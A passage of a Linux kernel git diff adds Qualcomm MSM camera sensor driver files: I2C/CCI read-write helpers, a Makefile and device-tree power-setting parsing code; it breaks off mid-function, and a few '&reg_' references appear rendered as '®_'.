i2c_add_driver(&imx135_i2c_driver); +} + +static void __exit imx135_exit_module(void) +{ + pr_info("%s:%d\n", __func__, __LINE__); + if (imx135_s_ctrl.pdev) { + msm_sensor_free_sensor_data(&imx135_s_ctrl); + platform_driver_unregister(&imx135_platform_driver); + } else + i2c_del_driver(&imx135_i2c_driver); + return; +} + +static struct msm_sensor_ctrl_t imx135_s_ctrl = { + .sensor_i2c_client = &imx135_sensor_i2c_client, + .power_setting_array.power_setting = imx135_power_setting, + .power_setting_array.size = ARRAY_SIZE(imx135_power_setting), + .msm_sensor_mutex = &imx135_mut, + .sensor_v4l2_subdev_info = imx135_subdev_info, + .sensor_v4l2_subdev_info_size = ARRAY_SIZE(imx135_subdev_info), +}; + +module_init(imx135_init_module); +module_exit(imx135_exit_module); +MODULE_DESCRIPTION("imx135"); +MODULE_LICENSE("GPL v2"); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/Makefile new file mode 100644 index 0000000000000..0c7c1915a98e9 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/Makefile @@ -0,0 +1,4 @@ +ccflags-y += -Idrivers/media/platform/msm/camera_v2/ +ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor +ccflags-y += -Idrivers/media/platform/msm/camera_v2/sensor/cci +obj-$(CONFIG_MSMB_CAMERA) += msm_camera_io_util.o msm_camera_cci_i2c.o msm_camera_qup_i2c.o msm_camera_i2c_mux.o msm_camera_spi.o msm_camera_dt_util.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_cci_i2c.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_cci_i2c.c new file mode 100644 index 0000000000000..aea0fbf9c2dc0 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_cci_i2c.c @@ -0,0 +1,500 @@ +/* Copyright (c) 2011-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include +#include "msm_camera_i2c.h" +#include "msm_cci.h" + +#undef CDBG +#ifdef CONFIG_MSMB_CAMERA_DEBUG +#define CDBG(fmt, args...) pr_debug(fmt, ##args) +#define S_I2C_DBG(fmt, args...) pr_debug(fmt, ##args) +#else +#define CDBG(fmt, args...) do { } while (0) +#define S_I2C_DBG(fmt, args...) do { } while (0) +#endif + +#define I2C_COMPARE_MATCH 0 +#define I2C_COMPARE_MISMATCH 1 +#define I2C_POLL_MAX_ITERATION 20 + +int32_t msm_camera_cci_i2c_read(struct msm_camera_i2c_client *client, + uint32_t addr, uint16_t *data, + enum msm_camera_i2c_data_type data_type) +{ + int32_t rc = -EFAULT; + unsigned char buf[client->addr_type+data_type]; + struct msm_camera_cci_ctrl cci_ctrl; + + if ((client->addr_type != MSM_CAMERA_I2C_BYTE_ADDR + && client->addr_type != MSM_CAMERA_I2C_WORD_ADDR) + || (data_type != MSM_CAMERA_I2C_BYTE_DATA + && data_type != MSM_CAMERA_I2C_WORD_DATA)) + return rc; + + cci_ctrl.cmd = MSM_CCI_I2C_READ; + cci_ctrl.cci_info = client->cci_client; + cci_ctrl.cfg.cci_i2c_read_cfg.addr = addr; + cci_ctrl.cfg.cci_i2c_read_cfg.addr_type = client->addr_type; + cci_ctrl.cfg.cci_i2c_read_cfg.data = buf; + cci_ctrl.cfg.cci_i2c_read_cfg.num_byte = data_type; + rc = v4l2_subdev_call(client->cci_client->cci_subdev, + core, ioctl, VIDIOC_MSM_CCI_CFG, &cci_ctrl); + if (rc < 0) { + pr_err("%s: line %d rc = %d\n", __func__, __LINE__, rc); + return rc; + } + rc = cci_ctrl.status; + if (data_type == MSM_CAMERA_I2C_BYTE_DATA) + *data = buf[0]; + else + *data = buf[0] << 8 | buf[1]; + + S_I2C_DBG("%s addr = 0x%x data: 0x%x\n", __func__, addr, *data); + return rc; +} + +int32_t msm_camera_cci_i2c_read_seq(struct msm_camera_i2c_client *client, + uint32_t addr, uint8_t *data, uint32_t num_byte) +{ + int32_t rc = -EFAULT; + unsigned char *buf = NULL; + int i; + struct msm_camera_cci_ctrl cci_ctrl; + + if ((client->addr_type != MSM_CAMERA_I2C_BYTE_ADDR + && client->addr_type != MSM_CAMERA_I2C_WORD_ADDR) + || num_byte == 0) + return rc; + + buf = kzalloc(num_byte, GFP_KERNEL); + if (!buf) { + pr_err("%s:%d no memory\n", __func__, __LINE__); + return -ENOMEM; + } + cci_ctrl.cmd = MSM_CCI_I2C_READ; + cci_ctrl.cci_info = client->cci_client; + cci_ctrl.cfg.cci_i2c_read_cfg.addr = addr; + cci_ctrl.cfg.cci_i2c_read_cfg.addr_type = client->addr_type; + cci_ctrl.cfg.cci_i2c_read_cfg.data = buf; + cci_ctrl.cfg.cci_i2c_read_cfg.num_byte = num_byte; + rc = v4l2_subdev_call(client->cci_client->cci_subdev, + core, ioctl, VIDIOC_MSM_CCI_CFG, &cci_ctrl); + CDBG("%s line %d rc = %d\n", __func__, __LINE__, rc); + rc = cci_ctrl.status; + + S_I2C_DBG("%s addr = 0x%x", __func__, addr); + for (i = 0; i < num_byte; i++) { + data[i] = buf[i]; + S_I2C_DBG("Byte %d: 0x%x\n", i, buf[i]); + S_I2C_DBG("Data: 0x%x\n", data[i]); + } + kfree(buf); + return rc; +} + +int32_t msm_camera_cci_i2c_write(struct msm_camera_i2c_client *client, + uint32_t addr, uint16_t data, + enum msm_camera_i2c_data_type data_type) +{ + int32_t rc = -EFAULT; + struct msm_camera_cci_ctrl cci_ctrl; + struct msm_camera_i2c_reg_array reg_conf_tbl; + + if ((client->addr_type != MSM_CAMERA_I2C_BYTE_ADDR + && client->addr_type != MSM_CAMERA_I2C_WORD_ADDR) + || (data_type != MSM_CAMERA_I2C_BYTE_DATA + && data_type != MSM_CAMERA_I2C_WORD_DATA)) + return rc; + + CDBG("%s:%d reg addr = 0x%x data type: %d\n", + __func__, __LINE__, addr, data_type); + reg_conf_tbl.reg_addr = addr; + reg_conf_tbl.reg_data = data; + cci_ctrl.cmd = MSM_CCI_I2C_WRITE; + cci_ctrl.cci_info = client->cci_client; + cci_ctrl.cfg.cci_i2c_write_cfg.reg_setting = ®_conf_tbl; + cci_ctrl.cfg.cci_i2c_write_cfg.data_type = data_type; + cci_ctrl.cfg.cci_i2c_write_cfg.addr_type = client->addr_type; + cci_ctrl.cfg.cci_i2c_write_cfg.size = 1; + rc = v4l2_subdev_call(client->cci_client->cci_subdev, + core, ioctl, VIDIOC_MSM_CCI_CFG, &cci_ctrl); + if (rc < 0) { + pr_err("%s: line %d rc = %d\n", __func__, __LINE__, rc); + return rc; + } + rc = cci_ctrl.status; + return rc; +} + +int32_t msm_camera_cci_i2c_write_seq(struct msm_camera_i2c_client *client, + uint32_t addr, uint8_t *data, uint32_t num_byte) +{ + int32_t rc = -EFAULT; + uint8_t i = 0; + struct msm_camera_cci_ctrl cci_ctrl; + struct msm_camera_i2c_reg_array reg_conf_tbl[num_byte]; + + if ((client->addr_type != MSM_CAMERA_I2C_BYTE_ADDR + && client->addr_type != MSM_CAMERA_I2C_WORD_ADDR) + || num_byte == 0) + return rc; + + S_I2C_DBG("%s reg addr = 0x%x num bytes: %d\n", + __func__, addr, num_byte); + memset(reg_conf_tbl, 0, + num_byte * sizeof(struct msm_camera_i2c_reg_array)); + reg_conf_tbl[0].reg_addr = addr; + for (i = 0; i < num_byte; i++) { + reg_conf_tbl[i].reg_data = data[i]; + reg_conf_tbl[i].delay = 0; + } + cci_ctrl.cmd = MSM_CCI_I2C_WRITE; + cci_ctrl.cci_info = client->cci_client; + cci_ctrl.cfg.cci_i2c_write_cfg.reg_setting = reg_conf_tbl; + cci_ctrl.cfg.cci_i2c_write_cfg.data_type = MSM_CAMERA_I2C_BYTE_DATA; + cci_ctrl.cfg.cci_i2c_write_cfg.addr_type = client->addr_type; + cci_ctrl.cfg.cci_i2c_write_cfg.size = num_byte; + rc = v4l2_subdev_call(client->cci_client->cci_subdev, + core, ioctl, VIDIOC_MSM_CCI_CFG, &cci_ctrl); + CDBG("%s line %d rc = %d\n", __func__, __LINE__, rc); + rc = cci_ctrl.status; + return rc; +} + +int32_t msm_camera_cci_i2c_write_table( + struct msm_camera_i2c_client *client, + struct msm_camera_i2c_reg_setting *write_setting) +{ + int32_t rc = -EFAULT; + struct msm_camera_cci_ctrl cci_ctrl; + + if (!client || !write_setting) + return rc; + + if ((write_setting->addr_type != MSM_CAMERA_I2C_BYTE_ADDR + && write_setting->addr_type != MSM_CAMERA_I2C_WORD_ADDR) + || (write_setting->data_type != MSM_CAMERA_I2C_BYTE_DATA + && write_setting->data_type != MSM_CAMERA_I2C_WORD_DATA)) + return rc; + + cci_ctrl.cmd = MSM_CCI_I2C_WRITE; + cci_ctrl.cci_info = client->cci_client; + cci_ctrl.cfg.cci_i2c_write_cfg.reg_setting = + write_setting->reg_setting; + cci_ctrl.cfg.cci_i2c_write_cfg.data_type = write_setting->data_type; + cci_ctrl.cfg.cci_i2c_write_cfg.addr_type = client->addr_type; + cci_ctrl.cfg.cci_i2c_write_cfg.size = write_setting->size; + rc = v4l2_subdev_call(client->cci_client->cci_subdev, + core, ioctl, VIDIOC_MSM_CCI_CFG, &cci_ctrl); + if (rc < 0) { + pr_err("%s: line %d rc = %d\n", __func__, __LINE__, rc); + return rc; + } + rc = cci_ctrl.status; + if (write_setting->delay > 20) + msleep(write_setting->delay); + else if (write_setting->delay) + usleep_range(write_setting->delay * 1000, (write_setting->delay + * 1000) + 1000); + + return rc; +} + +int32_t msm_camera_cci_i2c_write_seq_table( + struct msm_camera_i2c_client *client, + struct msm_camera_i2c_seq_reg_setting *write_setting) +{ + int i; + int32_t rc = -EFAULT; + struct msm_camera_i2c_seq_reg_array *reg_setting; + uint16_t client_addr_type; + + if (!client || !write_setting) + return rc; + + if ((write_setting->addr_type != MSM_CAMERA_I2C_BYTE_ADDR + && write_setting->addr_type != MSM_CAMERA_I2C_WORD_ADDR)) { + pr_err("%s Invalide addr type %d\n", __func__, + write_setting->addr_type); + return rc; + } + + reg_setting = write_setting->reg_setting; + client_addr_type = client->addr_type; + client->addr_type = write_setting->addr_type; + + for (i = 0; i < write_setting->size; i++) { + rc = msm_camera_cci_i2c_write_seq(client, reg_setting->reg_addr, + reg_setting->reg_data, reg_setting->reg_data_size); + if (rc < 0) + return rc; + reg_setting++; + } + if (write_setting->delay > 20) + msleep(write_setting->delay); + else if (write_setting->delay) + usleep_range(write_setting->delay * 1000, (write_setting->delay + * 1000) + 1000); + + client->addr_type = client_addr_type; + return rc; +} + +int32_t msm_camera_cci_i2c_write_table_w_microdelay( + struct msm_camera_i2c_client *client, + struct msm_camera_i2c_reg_setting *write_setting) +{ + int32_t rc = -EFAULT; + struct msm_camera_cci_ctrl cci_ctrl; + + if (!client || !write_setting) + return rc; + + if ((client->addr_type != MSM_CAMERA_I2C_BYTE_ADDR + && client->addr_type != MSM_CAMERA_I2C_WORD_ADDR) + || (write_setting->data_type != MSM_CAMERA_I2C_BYTE_DATA + && write_setting->data_type != MSM_CAMERA_I2C_WORD_DATA)) + return rc; + + cci_ctrl.cmd = MSM_CCI_I2C_WRITE; + cci_ctrl.cci_info = client->cci_client; + cci_ctrl.cfg.cci_i2c_write_cfg.reg_setting = + write_setting->reg_setting; + cci_ctrl.cfg.cci_i2c_write_cfg.data_type = write_setting->data_type; + cci_ctrl.cfg.cci_i2c_write_cfg.addr_type = client->addr_type; + cci_ctrl.cfg.cci_i2c_write_cfg.size = write_setting->size; + rc = v4l2_subdev_call(client->cci_client->cci_subdev, + core, ioctl, VIDIOC_MSM_CCI_CFG, &cci_ctrl); + if (rc < 0) { + pr_err("%s: line %d rc = %d\n", __func__, __LINE__, rc); + return rc; + } + rc = cci_ctrl.status; + return rc; +} + +static int32_t msm_camera_cci_i2c_compare(struct msm_camera_i2c_client *client, + uint32_t addr, uint16_t data, + enum msm_camera_i2c_data_type data_type) +{ + int32_t rc; + uint16_t reg_data = 0; + int data_len = 0; + switch (data_type) { + case MSM_CAMERA_I2C_BYTE_DATA: + case MSM_CAMERA_I2C_WORD_DATA: + data_len = data_type; + break; + case MSM_CAMERA_I2C_SET_BYTE_MASK: + case MSM_CAMERA_I2C_UNSET_BYTE_MASK: + data_len = MSM_CAMERA_I2C_BYTE_DATA; + break; + case MSM_CAMERA_I2C_SET_WORD_MASK: + case MSM_CAMERA_I2C_UNSET_WORD_MASK: + data_len = MSM_CAMERA_I2C_WORD_DATA; + break; + default: + pr_err("%s: Unsupport data type: %d\n", __func__, data_type); + break; + } + + rc = msm_camera_cci_i2c_read(client, addr, ®_data, data_len); + if (rc < 0) + return rc; + + rc = I2C_COMPARE_MISMATCH; + switch (data_type) { + case MSM_CAMERA_I2C_BYTE_DATA: + case MSM_CAMERA_I2C_WORD_DATA: + if (data == reg_data) + rc = I2C_COMPARE_MATCH; + break; + case MSM_CAMERA_I2C_SET_BYTE_MASK: + case MSM_CAMERA_I2C_SET_WORD_MASK: + if ((reg_data & data) == data) + rc = I2C_COMPARE_MATCH; + break; + case MSM_CAMERA_I2C_UNSET_BYTE_MASK: + case MSM_CAMERA_I2C_UNSET_WORD_MASK: + if (!(reg_data & data)) + rc = I2C_COMPARE_MATCH; + break; + default: + pr_err("%s: Unsupport data type: %d\n", __func__, data_type); + break; + } + + S_I2C_DBG("%s: Register and data match result %d\n", __func__, + rc); + return rc; +} + +int32_t msm_camera_cci_i2c_poll(struct msm_camera_i2c_client *client, + uint32_t addr, uint16_t data, + enum msm_camera_i2c_data_type data_type) +{ + int32_t rc; + S_I2C_DBG("%s: addr: 0x%x data: 0x%x dt: %d\n", + __func__, addr, data, data_type); + + rc = msm_camera_cci_i2c_compare(client, + addr, data, data_type); + return rc; +} + +static int32_t msm_camera_cci_i2c_set_mask(struct msm_camera_i2c_client *client, + uint32_t addr, uint16_t mask, + enum msm_camera_i2c_data_type data_type, uint16_t set_mask) +{ + int32_t rc; + uint16_t reg_data; + + rc = msm_camera_cci_i2c_read(client, addr, ®_data, data_type); + if (rc < 0) { + S_I2C_DBG("%s read fail\n", __func__); + return rc; + } + S_I2C_DBG("%s addr: 0x%x data: 0x%x setmask: 0x%x\n", + __func__, addr, reg_data, mask); + + if (set_mask) + reg_data |= mask; + else + reg_data &= ~mask; + S_I2C_DBG("%s write: 0x%x\n", __func__, reg_data); + + rc = msm_camera_cci_i2c_write(client, addr, reg_data, data_type); + if (rc < 0) + S_I2C_DBG("%s write fail\n", __func__); + + return rc; +} + +static int32_t msm_camera_cci_i2c_set_write_mask_data( + struct msm_camera_i2c_client *client, + uint32_t addr, uint16_t data, int16_t mask, + enum msm_camera_i2c_data_type data_type) +{ + int32_t rc; + uint16_t reg_data; + CDBG("%s\n", __func__); + if (mask == -1) + return 0; + if (mask == 0) { + rc = msm_camera_cci_i2c_write(client, addr, data, data_type); + } else { + rc = msm_camera_cci_i2c_read(client, addr, ®_data, + data_type); + if (rc < 0) { + CDBG("%s read fail\n", __func__); + return rc; + } + reg_data &= ~mask; + reg_data |= (data & mask); + rc = msm_camera_cci_i2c_write(client, addr, reg_data, + data_type); + if (rc < 0) + CDBG("%s write fail\n", __func__); + } + return rc; +} + +int32_t msm_camera_cci_i2c_write_conf_tbl( + struct msm_camera_i2c_client *client, + struct msm_camera_i2c_reg_conf *reg_conf_tbl, uint16_t size, + enum msm_camera_i2c_data_type data_type) +{ + int i; + int32_t rc = -EFAULT; + for (i = 0; i < size; i++) { + enum msm_camera_i2c_data_type dt; + if (reg_conf_tbl->cmd_type == MSM_CAMERA_I2C_CMD_POLL) { + rc = msm_camera_cci_i2c_poll(client, + reg_conf_tbl->reg_addr, + reg_conf_tbl->reg_data, + reg_conf_tbl->dt); + } else { + if (reg_conf_tbl->dt == 0) + dt = data_type; + else + dt = reg_conf_tbl->dt; + switch (dt) { + case MSM_CAMERA_I2C_BYTE_DATA: + case MSM_CAMERA_I2C_WORD_DATA: + rc = msm_camera_cci_i2c_write( + client, + reg_conf_tbl->reg_addr, + reg_conf_tbl->reg_data, dt); + break; + case MSM_CAMERA_I2C_SET_BYTE_MASK: + rc = msm_camera_cci_i2c_set_mask(client, + reg_conf_tbl->reg_addr, + reg_conf_tbl->reg_data, + MSM_CAMERA_I2C_BYTE_DATA, 1); + break; + case MSM_CAMERA_I2C_UNSET_BYTE_MASK: + rc = msm_camera_cci_i2c_set_mask(client, + reg_conf_tbl->reg_addr, + reg_conf_tbl->reg_data, + MSM_CAMERA_I2C_BYTE_DATA, 0); + break; + case MSM_CAMERA_I2C_SET_WORD_MASK: + rc = msm_camera_cci_i2c_set_mask(client, + reg_conf_tbl->reg_addr, + reg_conf_tbl->reg_data, + MSM_CAMERA_I2C_WORD_DATA, 1); + break; + case MSM_CAMERA_I2C_UNSET_WORD_MASK: + rc = msm_camera_cci_i2c_set_mask(client, + reg_conf_tbl->reg_addr, + reg_conf_tbl->reg_data, + MSM_CAMERA_I2C_WORD_DATA, 0); + break; + case MSM_CAMERA_I2C_SET_BYTE_WRITE_MASK_DATA: + rc = msm_camera_cci_i2c_set_write_mask_data( + client, + reg_conf_tbl->reg_addr, + reg_conf_tbl->reg_data, + reg_conf_tbl->mask, + MSM_CAMERA_I2C_BYTE_DATA); + break; + default: + pr_err("%s: Unsupport data type: %d\n", + __func__, dt); + break; + } + } + if (rc < 0) + break; + reg_conf_tbl++; + } + return rc; +} + +int32_t msm_sensor_cci_i2c_util(struct msm_camera_i2c_client *client, + uint16_t cci_cmd) +{ + int32_t rc = 0; + struct msm_camera_cci_ctrl cci_ctrl; + + CDBG("%s line %d\n", __func__, __LINE__); + cci_ctrl.cmd = cci_cmd; + cci_ctrl.cci_info = client->cci_client; + rc = v4l2_subdev_call(client->cci_client->cci_subdev, + core, ioctl, VIDIOC_MSM_CCI_CFG, &cci_ctrl); + if (rc < 0) { + pr_err("%s line %d rc = %d\n", __func__, __LINE__, rc); + return rc; + } + return cci_ctrl.status; +} diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_dt_util.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_dt_util.c new file mode 100644 index 0000000000000..6605634da27bd --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/io/msm_camera_dt_util.c @@ -0,0 +1,1368 @@ +/* Copyright (c) 2013-2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + */ + +#include +#include "msm_camera_dt_util.h" +#include "msm_camera_io_util.h" +#include "msm_camera_i2c_mux.h" +#include "msm_cci.h" + +#define CAM_SENSOR_PINCTRL_STATE_SLEEP "cam_suspend" +#define CAM_SENSOR_PINCTRL_STATE_DEFAULT "cam_default" +/*#define CONFIG_MSM_CAMERA_DT_DEBUG*/ +#undef CDBG +#ifdef CONFIG_MSM_CAMERA_DT_DEBUG +#define CDBG(fmt, args...) pr_err(fmt, ##args) +#else +#define CDBG(fmt, args...) do { } while (0) +#endif + +int msm_camera_fill_vreg_params(struct camera_vreg_t *cam_vreg, + int num_vreg, struct msm_sensor_power_setting *power_setting, + uint16_t power_setting_size) +{ + uint16_t i = 0; + int j = 0; + + /* Validate input parameters */ + if (!cam_vreg || !power_setting) { + pr_err("%s:%d failed: cam_vreg %p power_setting %p", __func__, + __LINE__, cam_vreg, power_setting); + return -EINVAL; + } + + /* Validate size of num_vreg */ + if (num_vreg <= 0) { + pr_err("failed: num_vreg %d", num_vreg); + return -EINVAL; + } + + for (i = 0; i < power_setting_size; i++) { + if (power_setting[i].seq_type != SENSOR_VREG) + continue; + + switch (power_setting[i].seq_val) { + case CAM_VDIG: + for (j = 0; j < num_vreg; j++) { + if (!strcmp(cam_vreg[j].reg_name, "cam_vdig")) { + pr_err("%s:%d i %d j %d cam_vdig\n", + __func__, __LINE__, i, j); + power_setting[i].seq_val = j; + break; + } + } + break; + + case CAM_VIO: + for (j = 0; j < num_vreg; j++) { + if (!strcmp(cam_vreg[j].reg_name, "cam_vio")) { + pr_err("%s:%d i %d j %d cam_vio\n", + __func__, __LINE__, i, j); + power_setting[i].seq_val = j; + break; + } + } + break; + + case CAM_VANA: + for (j = 0; j < num_vreg; j++) { + if (!strcmp(cam_vreg[j].reg_name, "cam_vana")) { + pr_err("%s:%d i %d j %d cam_vana\n", + __func__, __LINE__, i, j); + power_setting[i].seq_val = j; + break; + } + } + break; + + case CAM_VAF: + for (j = 0; j < num_vreg; j++) { + if (!strcmp(cam_vreg[j].reg_name, "cam_vaf")) { + pr_err("%s:%d i %d j %d cam_vaf\n", + __func__, __LINE__, i, j); + power_setting[i].seq_val = j; + break; + } + } + break; + + default: + pr_err("%s:%d invalid seq_val %d\n", __func__, + __LINE__, power_setting[i].seq_val); + break; + } + } + + return 0; +} + +int msm_sensor_get_sub_module_index(struct device_node *of_node, + struct msm_sensor_info_t **s_info) +{ + int rc = 0, i = 0; + uint32_t val = 0, count = 0; + uint32_t *val_array = NULL; + struct device_node *src_node = NULL; + struct msm_sensor_info_t *sensor_info; + + sensor_info = kzalloc(sizeof(*sensor_info), GFP_KERNEL); + if (!sensor_info) { + pr_err("%s:%d failed\n", __func__, __LINE__); + return -ENOMEM; + } + for (i = 0; i < SUB_MODULE_MAX; i++) + sensor_info->subdev_id[i] = -1; + + src_node = of_parse_phandle(of_node, "qcom,actuator-src", 0); + if (!src_node) { + CDBG("%s:%d src_node NULL\n", __func__, __LINE__); + } else { + rc = of_property_read_u32(src_node, "cell-index", &val); + CDBG("%s qcom,actuator cell index %d, rc %d\n", __func__, + val, rc); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto ERROR; + } + sensor_info->subdev_id[SUB_MODULE_ACTUATOR] = val; + of_node_put(src_node); + src_node = NULL; + } + + src_node = of_parse_phandle(of_node, "qcom,eeprom-src", 0); + if (!src_node) { + CDBG("%s:%d eeprom src_node NULL\n", __func__, __LINE__); + } else { + rc = of_property_read_u32(src_node, "cell-index", &val); + CDBG("%s qcom,eeprom cell index %d, rc %d\n", __func__, + val, rc); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto ERROR; + } + sensor_info->subdev_id[SUB_MODULE_EEPROM] = val; + of_node_put(src_node); + src_node = NULL; + } + + rc = of_property_read_u32(of_node, "qcom,eeprom-sd-index", &val); + if (rc != -EINVAL) { + CDBG("%s qcom,eeprom-sd-index %d, rc %d\n", __func__, val, rc); + if (rc < 0) { + pr_err("%s:%d failed rc %d\n", __func__, __LINE__, rc); + goto ERROR; + } + sensor_info->subdev_id[SUB_MODULE_EEPROM] = val; + } else + rc = 0; + + src_node = of_parse_phandle(of_node, "qcom,led-flash-src", 0); + if (!src_node) { + CDBG("%s:%d src_node NULL\n", __func__, __LINE__); + } else { + rc = of_property_read_u32(src_node, "cell-index", &val); + CDBG("%s qcom,led flash cell index %d, rc %d\n", __func__, + val, rc); + if (rc < 0) { + pr_err("%s:%d failed %d\n", __func__, __LINE__, rc); + goto ERROR; + } + sensor_info->subdev_id[SUB_MODULE_LED_FLASH] = val; + of_node_put(src_node); + src_node = NULL; + } + + rc = of_property_read_u32(of_node, "qcom,strobe-flash-sd-index", &val); + if (rc != -EINVAL) { + CDBG("%s qcom,strobe-flash-sd-index %d, rc %d\n", __func__, + val, rc); + if (rc < 0) { + pr_err("%s:%d failed rc %d\n", __func__, __LINE__, rc); + goto ERROR; + } + sensor_info->subdev_id[SUB_MODULE_STROBE_FLASH] = val; + } else + rc = 0; + + if (of_get_property(of_node, "qcom,csiphy-sd-index", &count)) { + count /= sizeof(uint32_t); + if (count > 2) { + pr_err("%s qcom,csiphy-sd-index count %d > 2\n", + __func__, count); + goto ERROR; + } + val_array = kzalloc(sizeof(uint32_t) * count, GFP_KERNEL); + if (!val_array) { + pr_err("%s failed %d\n", __func__, __LINE__); + rc = -ENOMEM; + goto ERROR; + } + + rc = of_property_read_u32_array(of_node, "qcom,csiphy-sd-index", + val_array, count); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + kfree(val_array); + goto ERROR; + } + for (i = 0; i < count; i++) { + sensor_info->subdev_id[SUB_MODULE_CSIPHY + i] = + val_array[i]; + CDBG("%s csiphy_core[%d] = %d\n", + __func__, i, val_array[i]); + } + kfree(val_array); + } else { + pr_err("%s:%d qcom,csiphy-sd-index not present\n", __func__, + __LINE__); + rc = -EINVAL; + goto ERROR; + } + + if (of_get_property(of_node, "qcom,csid-sd-index", &count)) { + count /= sizeof(uint32_t); + if (count > 2) { + pr_err("%s qcom,csid-sd-index count %d > 2\n", + __func__, count); + rc = -EINVAL; + goto ERROR; + } + val_array = kzalloc(sizeof(uint32_t) * count, GFP_KERNEL); + if (!val_array) { + pr_err("%s failed %d\n", __func__, __LINE__); + rc = -ENOMEM; + goto ERROR; + } + + rc = of_property_read_u32_array(of_node, "qcom,csid-sd-index", + val_array, count); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + kfree(val_array); + goto ERROR; + } + for (i = 0; i < count; i++) { + sensor_info->subdev_id + [SUB_MODULE_CSID + i] = val_array[i]; + CDBG("%s csid_core[%d] = %d\n", + __func__, i, val_array[i]); + } + kfree(val_array); + } else { + pr_err("%s:%d qcom,csid-sd-index not present\n", __func__, + __LINE__); + rc = -EINVAL; + goto ERROR; + } + + *s_info = sensor_info; + return rc; +ERROR: + kfree(sensor_info); + return rc; +} + +int msm_sensor_get_dt_actuator_data(struct device_node *of_node, + struct msm_actuator_info **act_info) +{ + int rc = 0; + uint32_t val = 0; + struct msm_actuator_info *actuator_info; + + rc = of_property_read_u32(of_node, "qcom,actuator-cam-name", &val); + CDBG("%s qcom,actuator-cam-name %d, rc %d\n", __func__, val, rc); + if (rc < 0) + return 0; + + actuator_info = kzalloc(sizeof(*actuator_info), GFP_KERNEL); + if (!actuator_info) { + pr_err("%s failed %d\n", __func__, __LINE__); + rc = -ENOMEM; + goto ERROR; + } + + actuator_info->cam_name = val; + + rc = of_property_read_u32(of_node, "qcom,actuator-vcm-pwd", &val); + CDBG("%s qcom,actuator-vcm-pwd %d, rc %d\n", __func__, val, rc); + if (!rc) + actuator_info->vcm_pwd = val; + + rc = of_property_read_u32(of_node, "qcom,actuator-vcm-enable", &val); + CDBG("%s qcom,actuator-vcm-enable %d, rc %d\n", __func__, val, rc); + if (!rc) + actuator_info->vcm_enable = val; + + *act_info = actuator_info; + return 0; +ERROR: + kfree(actuator_info); + return rc; +} + +int msm_sensor_get_dt_csi_data(struct device_node *of_node, + struct msm_camera_csi_lane_params **csi_lane_params) +{ + int rc = 0; + uint32_t val = 0; + struct msm_camera_csi_lane_params *clp; + + clp = kzalloc(sizeof(*clp), GFP_KERNEL); + if (!clp) { + pr_err("%s failed %d\n", __func__, __LINE__); + return -ENOMEM; + } + *csi_lane_params = clp; + + rc = of_property_read_u32(of_node, "qcom,csi-lane-assign", &val); + CDBG("%s qcom,csi-lane-assign 0x%x, rc %d\n", __func__, val, rc); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto ERROR; + } + clp->csi_lane_assign = val; + + rc = of_property_read_u32(of_node, "qcom,csi-lane-mask", &val); + CDBG("%s qcom,csi-lane-mask 0x%x, rc %d\n", __func__, val, rc); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto ERROR; + } + clp->csi_lane_mask = val; + + return rc; +ERROR: + kfree(clp); + return rc; +} + +int msm_camera_get_dt_power_setting_data(struct device_node *of_node, + struct camera_vreg_t *cam_vreg, int num_vreg, + struct msm_camera_power_ctrl_t *power_info) +{ + int rc = 0, i, j; + int count = 0; + const char *seq_name = NULL; + uint32_t *array = NULL; + struct msm_sensor_power_setting *ps; + + struct msm_sensor_power_setting *power_setting; + uint16_t *power_setting_size, size = 0; + bool need_reverse = 0; + + if (!power_info) + return -EINVAL; + + power_setting = power_info->power_setting; + power_setting_size = &power_info->power_setting_size; + + count = of_property_count_strings(of_node, "qcom,cam-power-seq-type"); + *power_setting_size = count; + + CDBG("%s qcom,cam-power-seq-type count %d\n", __func__, count); + + if (count <= 0) + return 0; + + ps = kzalloc(sizeof(*ps) * count, GFP_KERNEL); + if (!ps) { + pr_err("%s failed %d\n", __func__, __LINE__); + return -ENOMEM; + } + power_setting = ps; + power_info->power_setting = ps; + + for (i = 0; i < count; i++) { + rc = of_property_read_string_index(of_node, + "qcom,cam-power-seq-type", i, + &seq_name); + CDBG("%s seq_name[%d] = %s\n", __func__, i, + seq_name); + if (rc < 0) { + pr_err("%s failed %d\n", __func__, __LINE__); + goto ERROR1; + } + if (!strcmp(seq_name, "sensor_vreg")) { + ps[i].seq_type = SENSOR_VREG; + CDBG("%s:%d seq_type[%d] %d\n", __func__, __LINE__, + i, ps[i].seq_type); + } else if (!strcmp(seq_name, "sensor_gpio")) { + ps[i].seq_type = SENSOR_GPIO; + CDBG("%s:%d seq_type[%d] %d\n", __func__, __LINE__, + i, ps[i].seq_type); + } else if (!strcmp(seq_name, "sensor_clk")) { + ps[i].seq_type = SENSOR_CLK; + CDBG("%s:%d seq_type[%d] %d\n", __func__, __LINE__, + i, 